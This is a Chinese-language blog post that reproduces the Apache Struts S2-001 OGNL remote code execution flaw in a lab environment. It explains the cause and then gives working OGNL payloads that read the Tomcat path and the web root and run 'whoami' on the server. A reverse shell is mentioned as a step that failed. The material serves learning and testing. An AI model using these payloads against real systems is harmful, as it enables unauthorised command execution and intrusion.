统计
  • 建站日期:2022-06-18
  • 文章总数:588 篇
  • 评论总数:630 条
  • 分类总数:24 个
  • 最后更新:10月6日
文章 技术教程

【原创】S2-001 远程代码执行漏洞(漏洞复现)

阜阳第一菜鸡
首页 技术教程 正文
广告
【原创】S2-001 远程代码执行漏洞(漏洞复现)


【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第1
张图片

1. 漏洞描述

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

漏洞版本:Struts 2.0.0 - Struts 2.0.8

2. 漏洞复现:

1.复现环境

靶机:kali:192.168.172.134
攻击机:windows:192.168.31.18

2. 验证漏洞是否存在

我们在密码处输


【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第2
张图片

点击Submit

【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第3
张图片

两个输入框都能成功执行

3. 构造poc获取tomcat执行路径

漏洞验证代码:

%{“tomcatBinDir{“+@java.lang.System@getProperty(“user.dir”)+”}”}   -尝试获取Tomcat 执行路径


【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第4
张图片

成功获取 tomcatBinDir{/usr/local/tomcat}


【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第5
张图片

4. 尝试获取Web路径

%{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }[![]


【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第6
张图片
获取成功/usr/local/tomcat/webapps/ROOT/ 

5.执行whoami命令

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }


【原创】S2-001远程代码执行漏洞(漏洞复现)
-橙子博客
-第7
张图片

0x00 Getshell没法写攻击机的NC打不开,下个文章一定补上

版权说明
文章采用: 《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)》许可协议授权。
版权声明:未标注转载均为本站原创,转载时请以链接形式注明文章出处。如有侵权、不妥之处,请联系站长删除。敬请谅解!

-- 展开阅读全文 --
09月11日,星期日,在这里每天60秒读懂世界!
« 上一篇
地铁跑酷免费直充
下一篇 »
为了防止灌水评论,登录后即可评论!

HI ! 请登录
注册会员,享受下载全站资源特权。
社交账号登录

热门文章

最新文章

标签